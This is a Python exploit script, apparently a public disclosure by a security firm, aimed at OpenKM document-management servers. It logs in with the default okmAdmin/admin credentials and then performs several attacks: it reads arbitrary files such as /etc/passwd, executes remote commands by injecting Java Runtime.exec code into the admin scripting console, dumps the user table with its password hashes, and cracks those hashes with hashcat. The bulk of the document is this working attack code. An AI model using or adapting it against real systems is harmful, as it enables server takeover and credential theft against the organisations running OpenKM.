# Exploit Title: OpenKM Multiple Critical Zero-Day # Date: 17 Jan 2026 # Exploit Author: Terra System Labs Pvt. Ltd. # Vendor Homepage: https://www.openkm.com/ # Software Link: https://hub.docker.com/r/openkm/openkm-ce # Version: OpenKM Community Edition 6.3.12 and OpenKM Pro Edition 7.1.47 and previous versions # Tested on: Windows and Linux Docker # CVE : N/A import requests import argparse import os import subprocess from importlib import import_module import re import signal import sys import getpass print("Research Conducted By: Terra System Labs Research Team") print("Read Full Article: https://terrasystemlabs.com/post?slug=openkm-zero-day-vulnerabilities-terra-system-labs") # Ensure all required libraries are installed and re-import missing ones def check_and_install_libraries(): required_libraries = ["requests", "bs4", "prettytable", "termcolor"] for lib in required_libraries: try: import_module(lib) except ImportError: print(f"Library {lib} not found. Installing...") subprocess.check_call([ sys.executable, "-m", "pip", "install", lib, "--break-system-packages" ]) print(f"Library {lib} installed successfully.") check_and_install_libraries() from bs4 import BeautifulSoup from prettytable import PrettyTable try: from termcolor import colored use_colored_output = True except ImportError: use_colored_output = False # Utility function for colored output def print_colored(message, color): if use_colored_output: print(colored(message, color)) else: print(message) # Global session to persist cookies and authentication session = requests.Session() def signal_handler(sig, frame): print_colored("\nDetected CTRL+C. Logging out...", "red") if "base_url" in globals(): logout(base_url, proxies, verify_ssl) sys.exit(0) signal.signal(signal.SIGINT, signal_handler) def check_version(base_url, proxies, verify_ssl): print_colored("Checking OpenKM version...", "cyan") version_url = f"{base_url}/frontend/Workspace" headers = { "User-Agent": "Mozilla/5.0", "Accept": "*/*", "Content-Type": "text/x-gwt-rpc; charset=utf-8", "X-GWT-Permutation": "57C4A26D31617E3BF3460E4771D72FCC", "X-GWT-Module-Base": f"{base_url}/frontend/", "Origin": base_url, "Referer": f"{base_url}/frontend/index.jsp", } payload = ( f"7|0|4|{base_url}/frontend/|42DC97C6A4E30E734F8CCD1FE2250214|" "com.openkm.frontend.client.service.OKMWorkspaceService|getUserWorkspace|1|2|3|4|0|" ) response = session.post(version_url, headers=headers, data=payload, proxies=proxies, verify=verify_ssl) if response.status_code == 200 and response.text.startswith("//OK"): try: strings = re.findall(r'"([^"]+)"', response.text) idx = strings.index("com.openkm.frontend.client.bean.GWTAppVersion/1901889346") build = strings[idx + 1] release_type = strings[idx + 2] ver_major = strings[idx + 3] ver_minor = strings[idx + 4] ver_patch = strings[idx + 5] print_colored(f"OpenKM Version: {ver_minor}.{ver_patch}.{ver_major} (build: {build}, type: {release_type})", "green") except Exception as e: print_colored(f"Failed to parse version: {e}", "red") else: print_colored("Failed to fetch version information.", "red") # Function to handle login def login(base_url, username, password): login_url = f"{base_url}/login.jsp" login_payload = { "j_username": username, "j_password": password, "j_language": "en-GB", "submit": "" } login_post_url = f"{base_url}/j_spring_security_check" response = session.post(login_post_url, data=login_payload, proxies=proxies, verify=verify_ssl) if "error" in response.url: print_colored("Login failed. Check credentials.", "red") return False print_colored("Login successful using default credentials or provided oen, if any.", "green") check_version(base_url, proxies, verify_ssl) return True # Function for Local File Inclusion (LFI) def lfi(base_url, read_file, proxies, verify_ssl): csrf_page_url = f"{base_url}/admin/Scripting" csrf_response = session.get(csrf_page_url, proxies=proxies, verify=verify_ssl) csrf_token = None if csrf_response.status_code == 200: soup = BeautifulSoup(csrf_response.text, "html.parser") csrf_input = soup.find("input", {"name": "csrft"}) if csrf_input: csrf_token = csrf_input["value"] if not csrf_token: print_colored("Failed to fetch CSRF token.", "red") return script_payload = { "csrft": csrf_token, "script": "", "fsPath": read_file, "action": "Load" } script_post_url = f"{base_url}/admin/Scripting" response = session.post(script_post_url, data=script_payload, proxies=proxies, verify=verify_ssl) if response.status_code == 200: soup = BeautifulSoup(response.text, "html.parser") textarea = soup.find("textarea", {"id": "script"}) if textarea: print_colored("LFI Successful. Extracted Content:", "green") print(textarea.text.strip()) else: print_colored("Content not found.", "red") else: print_colored("LFI exploit failed.", "red") # Function for Remote Code Execution (RCE) def rce(base_url, command, proxies, verify_ssl): csrf_page_url = f"{base_url}/admin/Scripting" csrf_response = session.get(csrf_page_url, proxies=proxies, verify=verify_ssl) csrf_token = None if csrf_response.status_code == 200: soup = BeautifulSoup(csrf_response.text, "html.parser") csrf_input = soup.find("input", {"name": "csrft"}) if csrf_input: csrf_token = csrf_input["value"] if not csrf_token: print_colored("Failed to fetch CSRF token.", "red") return exploit_payload = f""" try {{ Process process = Runtime.getRuntime().exec("{command}"); BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); String output = reader.readLine(); print("Result: " + output); }} catch (IOException e) {{ print("Error: " + e.getMessage()); }} """ script_payload = { "csrft": csrf_token, "script": exploit_payload, "fsPath": "", "action": "Evaluate" } script_post_url = f"{base_url}/admin/Scripting" response = session.post(script_post_url, data=script_payload, proxies=proxies, verify=verify_ssl) if response.status_code == 200: match = re.search(r"Result:\s*(\w+)", response.text) if match: print_colored("RCE Successful. Result:", "green") print(match.group(1)) else: print_colored("RCE failed to return a result.", "red") #Function for crack hash def crack_password(): # Extract hashes from hashes.txt and save to md5_hashes.txt def extract_hashes_to_file(): try: with open("hashes.txt", "r") as file: hashes_data = file.readlines() # Extract only the hashes (after the colon) hashes_only = [line.split(":")[1].strip() for line in hashes_data] # Write the hashes to md5_hashes.txt with open("md5_hashes.txt", "w") as file: file.write("\n".join(hashes_only)) print("Hashes successfully extracted to md5_hashes.txt") except FileNotFoundError: print("Error: hashes.txt file not found. Please ensure the file exists in the current directory.") # Combine usernames with cracked passwords def combine_passwords(): try: # Load usernames and hashes from hashes.txt with open("hashes.txt", "r") as file: hashes_data = file.readlines() # Load cracked hashes and passwords from cracked_hashes.txt with open("cracked_hashes.txt", "r") as file: cracked_data = file.readlines() # Parse data into dictionaries hashes_dict = {line.split(":")[0]: line.split(":")[1].strip() for line in hashes_data} cracked_dict = {line.split(":")[0]: line.split(":")[1].strip() for line in cracked_data} # Match and combine data into final_cracked.txt final_cracked = ["Username:Passwords\n"] # Add header for username, hash_value in hashes_dict.items(): if hash_value in cracked_dict: password = cracked_dict[hash_value] final_cracked.append(f"{username}:{password}\n") # Save the results to final_cracked.txt final_cracked_path = os.path.abspath("final_cracked.txt") with open(final_cracked_path, "w") as file: file.writelines(final_cracked) print_colored("Final cracked usernames and passwords saved to final_cracked.txt", "green") # Confirm with the user before displaying passwords show_passwords = input("Do you want to display the cracked passwords (default N) Y/N: ").strip().lower() if show_passwords == 'y': print("{:<20} {:<20}".format("Username", "Password")) print("-" * 40) for line in final_cracked[1:]: # Skip header username, password = line.strip().split(":") print("{:<20} {:<20}".format(username, password)) exit(0) else: print("Passwords are hidden as per your choice. Read the Saved file to display the passwords in plaintext") except FileNotFoundError: print("Error: Ensure both hashes.txt and cracked_hashes.txt are present in the current directory.") # Main script if __name__ == "__main__": # Step 1: Extract hashes to md5_hashes.txt extract_hashes_to_file() # Step 2: Prompt user for the wordlist path and use default if not provided wordlist_path = input("Enter the path to your wordlist (Press Enter to use default: /usr/share/wordlists/rockyou.txt): ").strip() if not wordlist_path: wordlist_path = "/usr/share/wordlists/rockyou.txt" import os # Run hashcat commands print("Running hashcat...") os.system(f"hashcat -m 0 -a 0 md5_hashes.txt {wordlist_path} --quiet") os.system(f"hashcat -m 0 -a 0 md5_hashes.txt {wordlist_path} --show > cracked_hashes.txt") # Step 3: Combine usernames with cracked passwords combine_passwords() # Function for SQL Injection (SQLi) def sqli(base_url, proxies, verify_ssl): print_colored("Running Unrestricted SQL Query...", "magenta") query_url = f"{base_url}/admin/DatabaseQuery" multipart_form_data = ( "-----------------------------88617175833200583821560840739\r\n" "Content-Disposition: form-data; name=\"qs\"\r\n\r\n" "SELECT * FROM OKM_USER;\r\n" "-----------------------------88617175833200583821560840739\r\n" "Content-Disposition: form-data; name=\"tables\"\r\n\r\n" "OKM_USER\r\n" "-----------------------------88617175833200583821560840739\r\n" "Content-Disposition: form-data; name=\"vtables\"\r\n\r\n\r\n" "-----------------------------88617175833200583821560840739\r\n" "Content-Disposition: form-data; name=\"type\"\r\n\r\n" "jdbc\r\n" "-----------------------------88617175833200583821560840739--" ) headers = { "Content-Type": "multipart/form-data; boundary=---------------------------88617175833200583821560840739", } response = session.post(query_url, data=multipart_form_data, headers=headers, proxies=proxies, verify=verify_ssl) if response.status_code == 200: soup = BeautifulSoup(response.text, 'html.parser') table = soup.find('table', class_='results-old') if table: print_colored("SQL Injection Successful. Results:", "green") rows = table.find_all('tr') table_data = PrettyTable() headers = [header.text.strip() for header in rows[0].find_all('th')] table_data.field_names = headers with open("hashes.txt", "w") as file: for row in rows[1:]: columns = row.find_all(['td', 'th']) # Ensure all columns are filled, replacing missing values with 'N/A' and matching headers row_data = [col.text.strip() if col.text.strip() else 'N/A' for col in columns[:len(headers)]] if len(row_data) == len(headers): table_data.add_row(row_data) # Write USR_ID and USR_PASSWORD to the file usr_id = row_data[headers.index("USR_ID")] usr_password = row_data[headers.index("USR_PASSWORD")] file.write(f"{usr_id}:{usr_password}\n") print(table_data) #current_directory = os.getcwd() print_colored("hashes.txt created in the current directory", "green") crack_hash = input("Do you want to crack user's password in plain text (default N) Y/N: ").strip() if crack_hash in ['y', 'Y']: crack_password() else: print("Skipping password cracking...") exit() else: print_colored("No results found.", "red") else: print_colored("SQL Injection failed.", "red") # Function for logout def logout(base_url, proxies, verify_ssl): print_colored("Logging out...", "green") logout_url = f"{base_url}/frontend/Auth" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Content-Type": "text/x-gwt-rpc; charset=utf-8", "X-GWT-Permutation": "57C4A26D31617E3BF3460E4771D72FCC", "X-GWT-Module-Base": f"{base_url}/frontend/", "Origin": base_url } logout_payload = "7|0|4|http://"+base_url+"/OpenKM/frontend/|62DBFE1B3CAA52AD46EA20F866574A5F|com.openkm.frontend.client.service.OKMAuthService|logout|1|2|3|4|0|" response = session.post(logout_url, headers=headers, data=logout_payload, proxies=proxies, verify=verify_ssl) if response.status_code == 200 and "//OK" in response.text: print_colored("Logged out successfully.", "green") else: print_colored("Logout failed.", "red") # Main function def main(): global base_url, proxies, verify_ssl parser = argparse.ArgumentParser(description="Unified Vulnerability Testing Tool") parser.add_argument("--url", required=True, help="Base URL of the target application") parser.add_argument("--run", help="Run specific tests: (A=All, L=LFI, R=RCE, S=SQL)") parser.add_argument("--proxy", help="Proxy URL in the format http://IP:PORT") parser.add_argument("--login", help="Credentials in the format username:password") args = parser.parse_args() help1 = args.run if help1 in ["-h", "--help"]: print_colored("Run python3 openkm-scanner.py --url http://host:port") base_url = args.url[:-1] if args.url.endswith('/') else args.url if not base_url.endswith("/OpenKM"): base_url += "/OpenKM" proxies = {"http": args.proxy, "https": args.proxy} if args.proxy else None verify_ssl = False if args.login: try: username, password = args.login.split(":", 1) except ValueError: print_colored("Invalid format for --login. Use username:password", "red") return else: username = "okmAdmin" password = "admin" if not login(base_url, username, password): return # if args.login: # print("Username Received", login) # try: # username, password = args.login.split(":", 1) # except ValueError: # print_colored("Invalid format for --login. Use username:password", "red") # return # else: # username = "okmAdmin" # password = "admin" # if not login(base_url, username, password): # return run_tests = args.run if not run_tests: run_tests = input("Enter tests to run (A=All, L=LFI, R=RCE, S=SQL): ").upper() if run_tests in ['A', 'a']: print_colored("Running LFI attack...", "magenta") read_file = input("Enter file path for LFI (default: /etc/passwd): ") or "/etc/passwd" lfi(base_url, read_file, proxies, verify_ssl) print_colored("Running RCE attack...", "magenta") command = input("Enter command for RCE (default: whoami): ") or "whoami" rce(base_url, command, proxies, verify_ssl) sqli(base_url, proxies, verify_ssl) crack_password() exit() if run_tests in ['L', 'l']: print_colored("Running LFI attack...", "magenta") read_file = input("Enter file path for LFI (default: /etc/passwd): ") or "/etc/passwd" lfi(base_url, read_file, proxies, verify_ssl) if run_tests in ['R', 'r']: print_colored("Running RCE attack...", "magenta") command = input("Enter command for RCE (default: whoami): ") or "whoami" rce(base_url, command, proxies, verify_ssl) if run_tests in ['S', 's']: sqli(base_url, proxies, verify_ssl) if __name__ == "__main__": main()